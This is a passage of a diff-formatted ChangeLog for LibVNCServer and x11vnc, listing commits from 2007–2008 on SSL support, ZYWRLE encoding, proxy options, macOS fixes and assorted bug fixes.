x11vnc/x11vnc.c, + x11vnc/x11vnc.h, x11vnc/x11vnc_defs.c, x11vnc/xevents.c, + x11vnc/xinerama.c, x11vnc/xrandr.c, x11vnc/xrandr.h, + x11vnc/xrecord.c, x11vnc/xwrappers.c, x11vnc/xwrappers.h: x11vnc: + -chatwindow, -scale WxH, -enc changes. + +2008-09-21 runge + + * prepare_x11vnc_dist.sh, x11vnc/ChangeLog, x11vnc/Makefile.am, + x11vnc/README, x11vnc/enc.h, x11vnc/help.c, x11vnc/keyboard.c, + x11vnc/options.c, x11vnc/options.h, x11vnc/pointer.c, + x11vnc/screen.c, x11vnc/sslhelper.c, x11vnc/tkx11vnc, + x11vnc/tkx11vnc.h, x11vnc/util.c, x11vnc/x11vnc.1, x11vnc/x11vnc.c, + x11vnc/x11vnc_defs.c: x11vnc: Add symmetric key encryption -enc + cipher:keyfile, works with SSVNC. Make -remap work on MacOSX + console. update to 0.9.5 strings. Add a couple menu items to + tkx11vnc. + +2008-09-17 runge + + * x11vnc/ChangeLog, x11vnc/README, x11vnc/connections.c, + x11vnc/help.c, x11vnc/sslhelper.c, x11vnc/x11vnc.1, + x11vnc/x11vnc_defs.c: x11vnc: make -allow work in -ssl mode. + +2008-09-14 runge + + * classes/ssl/ss_vncviewer, + classes/ssl/ultravnc-102-JavaViewer-ssl-etc.patch, + x11vnc/ChangeLog, x11vnc/README, x11vnc/gui.c, x11vnc/help.c, + x11vnc/misc/enhanced_tightvnc_viewer/README, + x11vnc/misc/enhanced_tightvnc_viewer/bin/util/ss_vncviewer, + x11vnc/misc/enhanced_tightvnc_viewer/bin/util/ssvnc.tcl, + x11vnc/misc/enhanced_tightvnc_viewer/man/man1/ssvnc.1, + x11vnc/misc/enhanced_tightvnc_viewer/man/man1/ssvncviewer.1, + x11vnc/misc/enhanced_tightvnc_viewer/src/patches/_bundle, + x11vnc/misc/enhanced_tightvnc_viewer/src/patches/tight-vncviewer-fu + ll.patch, x11vnc/sslhelper.c, x11vnc/ssltools.h, x11vnc/tkx11vnc, + x11vnc/tkx11vnc.h, x11vnc/userinput.c, x11vnc/util.c, + x11vnc/x11vnc.1, x11vnc/x11vnc.c, x11vnc/x11vnc_defs.c: x11vnc: + -sleepin m-n for random sleep. More mktemp and mkstemp protections. + SSL_INIT_TIMEOUT=n env. var. Fix macosx console X call bug. + Synchronize other projects sources. + +2008-09-07 runge + + * classes/ssl/ss_vncviewer, + classes/ssl/ultravnc-102-JavaViewer-ssl-etc.patch, x11vnc/8to24.c, + x11vnc/ChangeLog, x11vnc/README, x11vnc/connections.c, + x11vnc/gui.c, x11vnc/gui.h, x11vnc/help.c, x11vnc/keyboard.c, + x11vnc/macosxCG.c, x11vnc/macosxCG.h, + x11vnc/misc/enhanced_tightvnc_viewer/README, + x11vnc/misc/enhanced_tightvnc_viewer/Windows/sshvnc.bat, + x11vnc/misc/enhanced_tightvnc_viewer/Windows/tsvnc.bat, + x11vnc/misc/enhanced_tightvnc_viewer/bin/sshvnc, + x11vnc/misc/enhanced_tightvnc_viewer/bin/ssvnc, + x11vnc/misc/enhanced_tightvnc_viewer/bin/ssvnc_cmd, + x11vnc/misc/enhanced_tightvnc_viewer/bin/tsvnc, + x11vnc/misc/enhanced_tightvnc_viewer/bin/util/ss_vncviewer, + x11vnc/misc/enhanced_tightvnc_viewer/bin/util/ssvnc.tcl, + x11vnc/misc/enhanced_tightvnc_viewer/build.unix, + x11vnc/misc/enhanced_tightvnc_viewer/man/man1/ssvnc.1, + x11vnc/misc/enhanced_tightvnc_viewer/man/man1/ssvncviewer.1, + x11vnc/misc/enhanced_tightvnc_viewer/src/patches/_getpatches, + x11vnc/misc/enhanced_tightvnc_viewer/src/patches/tight-vncviewer-fu + ll.patch, x11vnc/options.c, x11vnc/options.h, x11vnc/pointer.c, + x11vnc/remote.c, x11vnc/solid.c, x11vnc/ssltools.h, + x11vnc/tkx11vnc, x11vnc/tkx11vnc.h, x11vnc/user.c, + x11vnc/userinput.c, x11vnc/x11vnc.1, x11vnc/x11vnc.c, + x11vnc/x11vnc.h, x11vnc/x11vnc_defs.c, x11vnc/xevents.c, + x11vnc/xevents.h, x11vnc/xinerama.c, x11vnc/xinerama.h: x11vnc: kill + gui_pid on exit in -connect/-connect_or_exit mode. -grablocal n + experiment (not compiled by default). -macuskbd option for macosx + for orig uskdb code. keycode=N remote contol cmd. Find dpy look at + non-NFS cookies in /tmp. Fix gui tray insertion on recent gnome dt. + Fix connect_file bug. Sync SSVNC + +2008-06-24 runge + + * libvncserver/rfbserver.c: We seem to need to guard against freeing + iterator 'i' twice in rfbSendFramebufferUpdate() (italc reported + bug) + +2008-06-07 runge + + * x11vnc/ChangeLog, x11vnc/README, x11vnc/help.c, x11vnc/unixpw.c, + x11vnc/x11vnc.1, x11vnc/x11vnc.c, x11vnc/x11vnc_defs.c, + x11vnc/xinerama.c: x11vnc: -clip xineramaN option, -DIGNORE_GETSPNAM + for HP-UX. Print info on SSH_CONNECTION override. + +2008-06-03 dscho + + * ChangeLog, client_examples/SDLvncviewer.c: SDLvncviewer: update + screen correctly after a resize Signed-off-by: Johannes Schindelin + +2008-06-03 runge + + * configure.ac: Enable --with-ssl=DIR option. + +2008-06-01 runge + + * x11vnc/README, x11vnc/options.c, x11vnc/options.h, + x11vnc/x11vnc.1, x11vnc/x11vnc.c, x11vnc/x11vnc_defs.c: x11vnc: + lower waitms and defer if framebuffer reads are fast (> 100MB/s) + +2008-06-01 runge + + * x11vnc/8to24.c, x11vnc/ChangeLog, x11vnc/README, + x11vnc/connections.c, x11vnc/cursor.c, x11vnc/help.c, + x11vnc/misc/Xdummy, x11vnc/options.c, x11vnc/options.h, + x11vnc/scan.c, x11vnc/screen.c, x11vnc/userinput.c, + x11vnc/x11vnc.1, x11vnc/x11vnc.c, x11vnc/x11vnc_defs.c, + x11vnc/xinerama.c: x11vnc: support colormaps for depths other than + 8. xinerama warppointer only if more than one subscreen. + +2008-05-31 dscho + + * .gitignore: .gitignore: ignore also temporary editor files Signed-off-by: Johannes Schindelin + +2008-05-31 dscho + + * VisualNaCro/.gitignore: VisualNaCro: add .gitignore file Signed-off-by: Johannes Schindelin + +2008-05-31 dscho + + * VisualNaCro/configure.ac: VisualNaCro: fix configure.ac There was a misunderstanding as to the workings of AC_CHECK_PROG(). Signed-off-by: Johannes Schindelin + +2008-05-31 dscho + + * TODO: Update TODOs Signed-off-by: Johannes Schindelin + +2008-05-31 dscho + + * libvncserver-config.in: Fix libvncserver-config for in-place + operation Since quite some time, the linkable libraries are stored in the + .libs/ subdirectories. Adjust libvncserver-config to account for + that when running without installing. Signed-off-by: Johannes Schindelin + +2008-05-23 runge + + * libvncserver/rfbserver.c: Handle colormaps with more than 256 + colors. + +2008-05-13 dscho + + * examples/mac.c: examples/mac: disable the cursor We cannot write access the frame buffer, and we do not have a + sensible cursor anyway, so better disable the cursor (which would + have to be drawn for clients that do not support + CursorShapeUpdates). Signed-off-by: Johannes Schindelin + +2008-05-13 dscho + + * client_examples/SDLvncviewer.c: SDLvncviewer: add -viewonly Just like its siblings from other projects, SDLvncviewer now + supports viewonly connections. Signed-off-by: Johannes Schindelin + +2008-05-12 runge + + * x11vnc/README, x11vnc/help.c, x11vnc/selection.c, + x11vnc/sslhelper.c, x11vnc/ssltools.h, x11vnc/x11vnc.1, + x11vnc/x11vnc_defs.c: x11vnc: SSL fixes. Increase cert lifetimes to + 2 years. Print ssl err msg. + +2008-05-12 runge + + * configure.ac: Add X509_print_ex_fp check for x11vnc. + +2008-05-12 runge + + * x11vnc/misc/enhanced_tightvnc_viewer/README, + x11vnc/misc/enhanced_tightvnc_viewer/Windows/util/connect_br.tcl, + x11vnc/misc/enhanced_tightvnc_viewer/bin/ssvnc, + x11vnc/misc/enhanced_tightvnc_viewer/bin/ssvnc_cmd, + x11vnc/misc/enhanced_tightvnc_viewer/bin/util/ss_vncviewer, + x11vnc/misc/enhanced_tightvnc_viewer/bin/util/ssvnc.tcl, + x11vnc/misc/enhanced_tightvnc_viewer/src/patches/tight-vncviewer-fu + ll.patch: Many improvement to the frontend and unix viewer. + UltraVNC proxy support, and other proxy improvements. + +2008-05-08 runge + + * x11vnc/ChangeLog, x11vnc/README, x11vnc/connections.c, + x11vnc/gui.c, x11vnc/help.c, x11vnc/options.c, x11vnc/scan.c, + x11vnc/sslhelper.c, x11vnc/ssltools.h, x11vnc/tkx11vnc, + x11vnc/tkx11vnc.h, x11vnc/user.c, x11vnc/x11vnc.1, x11vnc/x11vnc.c, + x11vnc/x11vnc_defs.c: x11vnc: add UltraVNC repeater proxy support. + fix to setp gui mode. -threads is now strongly discouraged. Read + PORT= in url. User can set nolisten for Xvfb in -create mode. + clean up wait_for_client() to some degree. + +2008-05-08 runge + + * classes/ssl/tightvnc-1.3dev7_javasrc-vncviewer-ssl.patch, + classes/ssl/ultravnc-102-JavaViewer-ssl-etc.patch: Add check for + "https" to viewers. update jars. + +2008-04-28 dscho + + * rfb/rfbclient.h: Fix compilation in the absence of libjpeg The JPEG library is not necessarily installed everywhere, and + sometimes it is outright undesirable to compile with JPEG support, + e.g. when the server is not very fast. So fix the compilation for + that case. Signed-off-by: Johannes Schindelin + +2008-03-21 dscho + + * TODO: Update TODOs Signed-off-by: Johannes Schindelin + +2008-02-18 dscho + + * ChangeLog, libvncserver/rfbregion.c: Please MS Visual C++ a bit + (Christian Ehrlicher) Signed-off-by: Johannes Schindelin + +2008-02-18 runge + + * classes/ssl/ss_vncviewer, x11vnc/README: Update ssl jars. + +2008-02-18 runge + + * x11vnc/README, x11vnc/x11vnc.1, x11vnc/x11vnc_defs.c: changes for + release + +2008-02-18 runge + + * x11vnc/README, x11vnc/x11vnc.1, x11vnc/x11vnc.c, + x11vnc/x11vnc_defs.c: minor date changes. + +2008-02-18 runge + + * x11vnc/misc/enhanced_tightvnc_viewer/README, + x11vnc/misc/enhanced_tightvnc_viewer/bin/ssvnc, + x11vnc/misc/enhanced_tightvnc_viewer/bin/ssvnc_cmd, + x11vnc/misc/enhanced_tightvnc_viewer/src/patches/tight-vncviewer-fu + ll.patch: ssvnc sync with zywrle support and improvements to popup. + +2008-02-04 dscho + + * ChangeLog, libvncclient/rfbproto.c, libvncclient/zrle.c: ZYWRLE + patch for libvncclient (thanks Noriaki Yamazaki) Highlite: * use qualityLevel/zlib_buffer. No new variable is needed. * Change coding style to recursive fashion. * Change meaning of qualityLevel== 9 for easy calc zywrle_level: old:zywrle_level== 1 new:disable ZYWRLE(same as ZRLE) so, we should not use this value for compatible reason. * Color mode handling isn't complete. I provided and checked 16 bit colors(RGB555,RGB565) and some color mode of 32 bit colors for little endian mode. we must make and check 24 bit colors and big endian mode. Signed-off-by: Johannes Schindelin + +2008-02-04 dscho + + * ChangeLog, libvncserver/zywrletemplate.c: Fix ZYWRLE en/decoding + for width != scanline (thanks Noriaki Yamazaki) Signed-off-by: Johannes Schindelin + +2008-02-03 runge + + * libvncserver/stats.c: Add ZYWRLE to server printout. + +2008-02-02 dscho + + * ChangeLog, TODO, client_examples/SDLvncviewer.c: SDLvncviewer: fix + button handling For some reason, I swapped buttons 2 and 3 on Dec 7, 2005, in commit + "translate keys based on unicode (much more reliable than sym)". I + do not remember why, nor what I smoked, but this was wrong. Signed-off-by: Johannes Schindelin + +2008-02-02 dscho + + * TODO, client_examples/SDLvncviewer.c: SDLvncviewer: fix + Ctrl+ Signed-off-by: Johannes Schindelin + +2008-02-02 dscho + + * TODO, client_examples/SDLvncviewer.c: SDLvncviewer: fix + translation of the Tab key Signed-off-by: Johannes Schindelin + +2008-02-02 dscho + + * TODO: Updated TODOs Signed-off-by: Johannes Schindelin + +2008-02-01 runge + + * libvncserver/Makefile.am: Need to include zywrletemplate.c in + Makefile.am + +2008-02-01 runge + + * classes/ssl/ss_vncviewer: sync java viewer. + +2008-02-01 runge + + * x11vnc/ChangeLog, x11vnc/README, x11vnc/connections.c, + x11vnc/help.c, x11vnc/misc/enhanced_tightvnc_viewer/README, + x11vnc/misc/enhanced_tightvnc_viewer/bin/util/ss_vncviewer, + x11vnc/misc/enhanced_tightvnc_viewer/bin/util/ssvnc.tcl, + x11vnc/misc/enhanced_tightvnc_viewer/src/patches/tight-vncviewer-fu + ll.patch, x11vnc/rates.c, x11vnc/ssltools.h, x11vnc/x11vnc.1, + x11vnc/x11vnc.h, x11vnc/x11vnc_defs.c: x11vnc: during speeds + estimate, guard against client disconnecting. + +2008-01-31 dscho + + * libvncserver/rfbserver.c: Fix rfbSendSupportedEncodings There was a long standing TODO to make the counting of the supported + encodings dynamic. It never triggered, until ZYWRLE was added. Noticed by Christian Ehrlicher. Signed-off-by: Johannes Schindelin + +2008-01-31 dscho + + * Makefile.am, configure.ac: Recurse into subdirectory x11vnc/ when + configuring with --with-x11vnc Since we separated the packages LibVNCServer and x11vnc, there is a + configure switch --with-x11vnc, without which x11vnc is not built. However, even _with_ this switch, it is not built, because the + Makefile would not recurse into the x11vnc/ subdirectory. Fix that. Signed-off-by: Johannes Schindelin + +2008-01-31 dscho + + * libvncserver/rfbserver.c: Fix Swap16IfLE() on bytes When swapping the values for the colour table to little-endian + (because they are 16-bit values), we need to cast "unsigned char" to + "unsigned short"; otherwise, Microsoft's compiler would keep + complaining. Noticed by Christian Ehrlicher. Signed-off-by: Johannes Schindelin + +2008-01-31 dscho + + * libvncserver/rfbserver.c, rfb/rfb.h: Move tightQualityLevel out of + the JPEG specific part The variable tightQualityLevel is used for ZYWRLE compression, too, + so if libjpeg is not present, but libz is, we still need to have + that struct member. Signed-off-by: Johannes Schindelin + +2008-01-30 dscho + + * libvncserver/zrle.c, libvncserver/zrleencodetemplate.c, rfb/rfb.h: + Make ZYWRLE thread-safe for multiple clients ZYWRLE used a static buffer, which does not work too well if you + have more than one client in a threaded server. Instead, we have + the data in the client structure now. Signed-off-by: Johannes Schindelin + +2008-01-30 dscho + + * libvncserver/zrle.c, libvncserver/zywrletemplate.c: ZYWRLE brown + paper bag fix While adjusting the coding style, three stupid mistakes happened. + The quality is _not_ just 1, 2, 3, but really 1, 3, 2. And the + macros ZYWRLE_PACK_COEFF() and ZYWRLE_UNPACK_COEFF() expand to more + than one statement, which means that we need curly brackets around + them when they are in an if clause. Signed-off-by: Johannes Schindelin + +2008-01-29 dscho + + * TODO: Update TODOs Signed-off-by: Johannes Schindelin + +2008-01-29 dscho + + * .gitignore: Add a .gitignore file At least one developer (me) uses git to work on local branches, and + this file does not hurt. Signed-off-by: Johannes Schindelin + +2008-01-29 dscho + + * ChangeLog, libvncserver/rfbserver.c: Add missing #include + (thanks Christian Ehrlicher) Signed-off-by: Johannes Schindelin + +2008-01-29 dscho + + * AUTHORS, ChangeLog, libvncserver/rfbserver.c, + libvncserver/scale.c, libvncserver/zrle.c, + libvncserver/zrleencodetemplate.c, libvncserver/zywrletemplate.c, + rfb/rfbproto.h: Add ZYWRLE server-side support (thanks Noriaki + Yamazaki, Hitachi) Signed-off-by: Johannes Schindelin + +2008-01-29 dscho + + * AUTHORS, CMakeLists.txt, ChangeLog, configure.ac, + rfb/rfbconfig.h.cmake, rfb/rfbint.h.cmake: Add CMake support (thanks + to Christian Ehrlicher) Signed-off-by: Johannes Schindelin + +2008-01-15 runge + + * x11vnc/ChangeLog, x11vnc/README, x11vnc/help.c, x11vnc/options.c, + x11vnc/options.h, x11vnc/scan.c, x11vnc/x11vnc.1, x11vnc/x11vnc.c, + x11vnc/x11vnc_defs.c: x11vnc: -ping option, fix memory corruption in + copy_tiles after xrandr resize. + +2007-12-16 runge + + * x11vnc/ChangeLog, x11vnc/README, x11vnc/cleanup.c, x11vnc/gui.c, + x11vnc/macosxCG.c, x11vnc/remote.c, x11vnc/tkx11vnc, + x11vnc/tkx11vnc.h, x11vnc/x11vnc.1, x11vnc/x11vnc.c, + x11vnc/x11vnc_defs.c: x11vnc: setup remote-ctrl file by default on + macosx. improve tkx11vnc wrt attaching to existing server in + icon/tray mode. + +2007-12-16 runge + + * x11vnc/misc/enhanced_tightvnc_viewer/bin/ssvnc_cmd, + x11vnc/misc/enhanced_tightvnc_viewer/bin/util/ss_vncviewer, + x11vnc/misc/enhanced_tightvnc_viewer/bin/util/ssvnc.tcl, + x11vnc/misc/enhanced_tightvnc_viewer/src/patches/tight-vncviewer-fu + ll.patch: Fixes for MacOSX 10.5. Improve usage of x11 viewer on + macosx. + +2007-12-16 runge + + * x11vnc/ChangeLog, x11vnc/README, x11vnc/keyboard.c, + x11vnc/macosxCG.c, x11vnc/macosxCGS.c, x11vnc/ssltools.h, + x11vnc/x11vnc.1, x11vnc/x11vnc.c, x11vnc/x11vnc_defs.c: x11vnc: fix + find_display and usleep() prototype on macosx. -display console and + check DISPLAY /tmp/...:0 on macosx. implement -noxinerama. + +2007-11-13 runge + + * x11vnc/ChangeLog, x11vnc/README, x11vnc/cleanup.c, x11vnc/help.c, + x11vnc/keyboard.c, x11vnc/keyboard.h, x11vnc/options.c, + x11vnc/remote.c, x11vnc/tkx11vnc, x11vnc/tkx11vnc.h, x11vnc/user.c, + x11vnc/x11vnc.1, x11vnc/x11vnc.c, x11vnc/x11vnc_defs.c: x11vnc: add + clear_locks (Caps_Lock, etc) action. + +2007-10-27 runge + + * x11vnc/misc/enhanced_tightvnc_viewer/Windows/util/connect_br.tcl, + x11vnc/misc/enhanced_tightvnc_viewer/bin/util/ss_vncviewer, + x11vnc/misc/enhanced_tightvnc_viewer/bin/util/ssvnc.tcl, + x11vnc/misc/enhanced_tightvnc_viewer/src/patches/_bundle: ssvnc + sync: connect_br.tcl socks4/5 http proxies, ss_vncviewer socks5 + proxy. ssh 1st proxy. whatismyip.com fix. 127.0.0.1 on Darwin + +2007-10-27 runge + + * classes/ssl/ss_vncviewer: ssl java and ss_vncviewer (socks5) sync. + +2007-10-27 runge + + * prepare_x11vnc_dist.sh, x11vnc/8to24.c, x11vnc/ChangeLog, + x11vnc/README, x11vnc/cleanup.c, x11vnc/connections.c, + x11vnc/help.c, x11vnc/keyboard.c, x11vnc/macosxCGP.c, + x11vnc/macosxCGS.c, x11vnc/options.c, x11vnc/options.h, + x11vnc/remote.c, x11vnc/screen.c, x11vnc/selection.c, + x11vnc/tkx11vnc, x11vnc/tkx11vnc.h, x11vnc/user.c, + x11vnc/userinput.c, x11vnc/util.c, x11vnc/win_utils.c, + x11vnc/winattr_t.h, x11vnc/x11vnc.1, x11vnc/x11vnc.c, + x11vnc/x11vnc_defs.c, x11vnc/xrecord.c: x11vnc: -proxy, -ssh + options. ncache bug in -8to24, Selection "targets" bugfix. + +2007-10-04 runge + + * x11vnc/ChangeLog, x11vnc/README, x11vnc/help.c, + x11vnc/ssltools.h, x11vnc/user.c, x11vnc/x11vnc.1, x11vnc/x11vnc.c, + x11vnc/x11vnc_defs.c: x11vnc: add xfce to createdisplay + +2007-09-26 runge + + * x11vnc/ChangeLog, x11vnc/README, x11vnc/connections.c, + x11vnc/help.c, x11vnc/ssltools.h, x11vnc/user.c, x11vnc/util.c, + x11vnc/x11vnc.1, x11vnc/x11vnc.c, x11vnc/x11vnc.h, + x11vnc/x11vnc_defs.c: x11vnc: COLUMNS=256 and other fixes to + find/create scripts. More ratecheck. + +2007-09-17 dscho + + * libvncserver/rfbserver.c: Avoid misaligned access on 64-bit + machines We used to assume that a char[256] is properly aligned to be cast to + an rfbServerInitMsg, but that was not the case. So use a union + instead. Noticed by Flavio Leitner. Signed-off-by: Johannes Schindelin + +2007-09-11 runge + + * classes/ssl/ss_vncviewer, + classes/ssl/tightvnc-1.3dev7_javasrc-vncviewer-ssl.patch, + classes/ssl/ultravnc-102-JavaViewer-ssl-etc.patch: update + ss_vncviewer script, jars, and patch files. + +2007-09-11 runge + + * x11vnc/ChangeLog, x11vnc/misc/enhanced_tightvnc_viewer/README, + x11vnc/misc/enhanced_tightvnc_viewer/Windows/README.txt, + x11vnc/misc/enhanced_tightvnc_viewer/bin/util/ss_vncviewer, + x11vnc/misc/enhanced_tightvnc_viewer/bin/util/ssvnc.tcl, + x11vnc/misc/enhanced_tightvnc_viewer/src/patches/_bundle: ssvnc: + sshvnc ssh-only, tsvnc Terminal Services modes. Improvements to + ss_vncviewer. Automatically find X dpy and X login. Reorganize + menus a bit. ~/.ssvncrc file. + +2007-09-11 runge + + * x11vnc/ChangeLog, x11vnc/README, x11vnc/cleanup.c, + x11vnc/connections.c, x11vnc/cursor.c, x11vnc/help.c, + x11vnc/options.c, x11vnc/options.h, x11vnc/screen.c, + x11vnc/sslhelper.c, x11vnc/ssltools.h, x11vnc/user.c, + x11vnc/userinput.c, x11vnc/x11vnc.1, x11vnc/x11vnc.c, + x11vnc/x11vnc_defs.c, x11vnc/xrecord.c, x11vnc/xwrappers.c: x11vnc: + fix wireframe crash under -clip. Add -redirect for VNC redir. + -rawfb nullbig, randbig, solid, swirl, etc. FD_XDM mode to + find_display. -listdpy. Add enlightenment. Xvnc.redirect + FINDDISPLAY-vnc_redirect. -xvnc, -xvnc_redirect, -svc_xvnc. + AUTO_PORT. + +2007-09-05 runge + + * x11vnc/ChangeLog, x11vnc/README, x11vnc/help.c, + x11vnc/keyboard.c, x11vnc/misc/Xdummy, x11vnc/options.c, + x11vnc/options.h, x11vnc/remote.c, x11vnc/screen.c, x11vnc/solid.c, + x11vnc/sslhelper.c, x11vnc/ssltools.h, x11vnc/user.c, + x11vnc/userinput.c, x11vnc/x11vnc.1, x11vnc/x11vnc.c, + x11vnc/x11vnc.h, x11vnc/x11vnc_defs.c, x11vnc/xevents.c, + x11vnc/xevents.h, x11vnc/xrandr.c, x11vnc/xwrappers.c: x11vnc: + -autoport, -finddpy, -xdummy. watch xrandr events. + check_redir_services() utilities for Terminal services. Improve + Xdummy. + +2007-09-05 runge + + * ChangeLog, classes/ssl/Makefile.am, classes/ssl/proxy.vnc, + classes/ssl/ss_vncviewer, + classes/ssl/tightvnc-1.3dev7_javasrc-vncviewer-ssl.patch, + classes/ssl/ultraproxy.vnc, + classes/ssl/ultravnc-102-JavaViewer-ssl-etc.patch: classes/ssl: + improve timeouts, port fallback, and connection time. + +2007-08-19 runge + + * x11vnc/README, x11vnc/help.c, x11vnc/keyboard.c, x11vnc/x11vnc.1: + malloc score_hint and make it shorts to save space. + +2007-08-19 runge + + * x11vnc/ChangeLog, x11vnc/README, x11vnc/help.c, + x11vnc/keyboard.c, x11vnc/ssltools.h, x11vnc/user.c, + x11vnc/x11vnc.1, x11vnc/x11vnc_defs.c: x11vnc: better -xkb + tie-breaking for up keystrokes. Add Xsrv/FD_XSRV custom server to + FINDCREATEDISPLAY list. + +2007-08-18 runge + + * x11vnc/ChangeLog, x11vnc/README, x11vnc/help.c, x11vnc/solid.c, + x11vnc/ssltools.h, x11vnc/user.c, x11vnc/x11vnc.1, + x11vnc/x11vnc_defs.c: x11vnc: improve FINDCREATEDISPLAY (-create) + script, FD_GEOM, FD_SESS, FD_OPTS, FD_PROG env vars, add Xvnc + support + +2007-08-16 runge + + * x11vnc/ChangeLog, x11vnc/README, x11vnc/help.c, x11vnc/user.c, + x11vnc/x11vnc.1, x11vnc/x11vnc_defs.c: x11vnc: add reverse -connect + support to -display WAIT:, fix SSL Fetch cert only for -display + WAIT: + +2007-08-14 dscho + + * AUTHORS, ChangeLog, libvncclient/rfbproto.c: LibVNCClient: if the + GotRect hook is set, override default op. + +2007-08-04 runge + + * x11vnc/ChangeLog, x11vnc/README, x11vnc/help.c, x11vnc/options.c, + x11vnc/options.h, x11vnc/remote.c, x11vnc/solid.c, x11vnc/tkx11vnc, + x11vnc/tkx11vnc.h, x11vnc/x11vnc.1, x11vnc/x11vnc.c, + x11vnc/x11vnc_defs.c, x11vnc/xevents.c: x11vnc: -xrefresh, + .DCOPserver bug, -unixpw_unsafe ignores SSH tunnel. + +2007-08-04 runge + + * libvncclient/vncviewer.c: argv > 0 doesn't make sense for a + pointer; assuming argv != NULL. + +2007-07-05 runge + + * x11vnc/ChangeLog, x11vnc/README, x11vnc/help.c, x11vnc/options.c, + x11vnc/options.h, x11vnc/remote.c, x11vnc/scan.c, x11vnc/tkx11vnc, + x11vnc/tkx11vnc.h, x11vnc/userinput.c, x11vnc/x11vnc.1, + x11vnc/x11vnc.c, x11vnc/x11vnc_defs.c: x11vnc: -debug_ncache, fix + big fonts in tkx11vnc. + +2007-07-05 runge + + * configure.ac, prepare_x11vnc_dist.sh: configure.ac check for + external system libvncserver version. set x11vnc version 0.9.3 + +2007-06-18 runge + + * x11vnc/README, x11vnc/options.c, x11vnc/x11vnc.1, + x11vnc/x11vnc_defs.c: x11vnc: set NCACHE -1 for release. + +2007-06-15 runge + + * ChangeLog, classes/ssl/ultra.vnc, classes/ssl/ultrasigned.vnc, + classes/ssl/ultravnc-102-JavaViewer-ssl-etc.patch, configure.ac, + x11vnc/ChangeLog, x11vnc/README, + x11vnc/misc/enhanced_tightvnc_viewer/README, + x11vnc/misc/enhanced_tightvnc_viewer/bin/Darwin.Power.Macintosh/vnc + viewer.sh, x11vnc/misc/enhanced_tightvnc_viewer/bin/ssvnc, + x11vnc/misc/enhanced_tightvnc_viewer/bin/ssvnc_cmd, + x11vnc/misc/enhanced_tightvnc_viewer/bin/util/ssvnc.tcl, + x11vnc/misc/enhanced_tightvnc_viewer/src/patches/_bundle, + x11vnc/misc/enhanced_tightvnc_viewer/src/patches/tight-vncviewer-fu + ll.patch, x11vnc/options.c, x11vnc/options.h, x11vnc/scan.c, + x11vnc/sslhelper.c, x11vnc/x11vnc.1, x11vnc/x11vnc_defs.c, + x11vnc/xevents.c: x11vnc: fix build error if libssl is missing or + --without-ssl supplied. + +2007-05-27 runge + + * + x11vnc/misc/enhanced_tightvnc_viewer/src/patches/tight-vncviewer-fu + ll.patch: sync ssvnc unix viewer diffs; fix X cursor size. + +2007-05-27 runge + + * classes/ssl/ss_vncviewer, + x11vnc/misc/enhanced_tightvnc_viewer/bin/util/ss_vncviewer, + x11vnc/misc/enhanced_tightvnc_viewer/bin/util/ssvnc.tcl, + x11vnc/misc/enhanced_tightvnc_viewer/src/patches/_bundle, + x11vnc/misc/enhanced_tightvnc_viewer/src/patches/tight-vncviewer-fu + ll.patch: update java viewer and ssvnc. + +2007-05-27 runge + + * configure.ac, x11vnc/README: configure.ac: fix x11vnc + --with-system-libvncserver build and add -R link flag. + +2007-05-27 runge + + * libvncserver-config.in: Fix --libs, echo -n doesn't work + everywhere. Question: why -R only for Solaris?? + +2007-05-27 runge + + * x11vnc/Makefile.am: clobbered x11vnc/Makefile.am by mistake. + +2007-05-27 runge + + * ChangeLog, Makefile.am, configure.ac, prepare_x11vnc_dist.sh, + x11vnc/README: configure: make more of a split between libvncserver + and x11vnc pkgs. + +2007-05-26 runge + + * prepare_x11vnc_dist.sh, x11vnc/ChangeLog, x11vnc/README, + x11vnc/help.c, x11vnc/options.c, x11vnc/unixpw.c, x11vnc/x11vnc.1, + x11vnc/x11vnc_defs.c: x11vnc: in -unixpw, initial Escape means no + echo username. + +2007-05-22 runge + + * classes/ssl/ss_vncviewer: update regular SSL viewer jars; update + ss_vncviewer script. + +2007-05-22 runge + + * x11vnc/misc/enhanced_tightvnc_viewer/bin/util/ss_vncviewer, + x11vnc/misc/enhanced_tightvnc_viewer/bin/util/ssvnc.tcl, + x11vnc/misc/enhanced_tightvnc_viewer/src/patches/tight-vncviewer-fu + ll.patch: update ssvnc (SSVNC_EXTRA_SLEEP), and unix viewer (1/n + menu and chat windows) + +2007-05-22 runge + + * x11vnc/ChangeLog, x11vnc/README, x11vnc/help.c, x11vnc/options.c, + x11vnc/x11vnc.1, x11vnc/x11vnc.c, x11vnc/x11vnc_defs.c: x11vnc: set + things up (NCACHE = -1) to not have -ncache on by default. + +2007-05-19 runge + + * classes/ssl/ultravnc-102-JavaViewer-ssl-etc.patch, + libvncserver/rfbserver.c, x11vnc/README, x11vnc/x11vnc.1, + x11vnc/x11vnc.c, x11vnc/x11vnc_defs.c: More fixes to ultra java + viewer, ultrafilexfer debugging output, fix -loop in .x11vncrc case. + +2007-05-17 runge + + * libvncserver/tightvnc-filetransfer/rfbtightserver.c: Pre-C99 + declaration error. + +2007-05-17 runge + + * libvncserver/rfbserver.c: In rfbSendFileTransferChunk() check + permitFileTransfer 1st to avoid false alarms. + +2007-05-16 runge + + * prepare_x11vnc_dist.sh: Add UltraViewerSSL.jar, etc. to dist list. + +2007-05-16 runge + + * libvncserver/tightvnc-filetransfer/handlefiletransferrequest.c, + libvncserver/tightvnc-filetransfer/rfbtightserver.c: Add logging + output to know when inside tightvnc-filetransfer functions. + +2007-05-16 runge + + * classes/ssl/Makefile.am, classes/ssl/README, + classes/ssl/ss_vncviewer, classes/ssl/ultra.vnc, + classes/ssl/ultrasigned.vnc, + classes/ssl/ultravnc-102-JavaViewer-ssl-etc.patch: Add SSL support + to UltraVNC Java Viewer (has filetransfer gui). Fix UltraVNC bugs + and improve FTP gui a bit. + +2007-05-16 runge + + * x11vnc/ChangeLog, x11vnc/README, + x11vnc/misc/enhanced_tightvnc_viewer/README, + x11vnc/misc/enhanced_tightvnc_viewer/bin/util/ss_vncviewer, + x11vnc/misc/enhanced_tightvnc_viewer/bin/util/ssvnc.tcl, + x11vnc/sslhelper.c, x11vnc/x11vnc.1, x11vnc/x11vnc.c, + x11vnc/x11vnc_defs.c: ssvnc: SOCKS support, PORT=, Verify all Certs + and accepted certs logging. x11vnc SSL debugging output. + +2007-05-16 runge + + * libvncserver/rfbserver.c: Drop client if UltraVNC filetransfer is + not enabled. + +2007-05-07 runge + + * x11vnc/misc/enhanced_tightvnc_viewer/README, + x11vnc/misc/enhanced_tightvnc_viewer/bin/util/ss_vncviewer, + x11vnc/misc/enhanced_tightvnc_viewer/bin/util/ssvnc.tcl, + 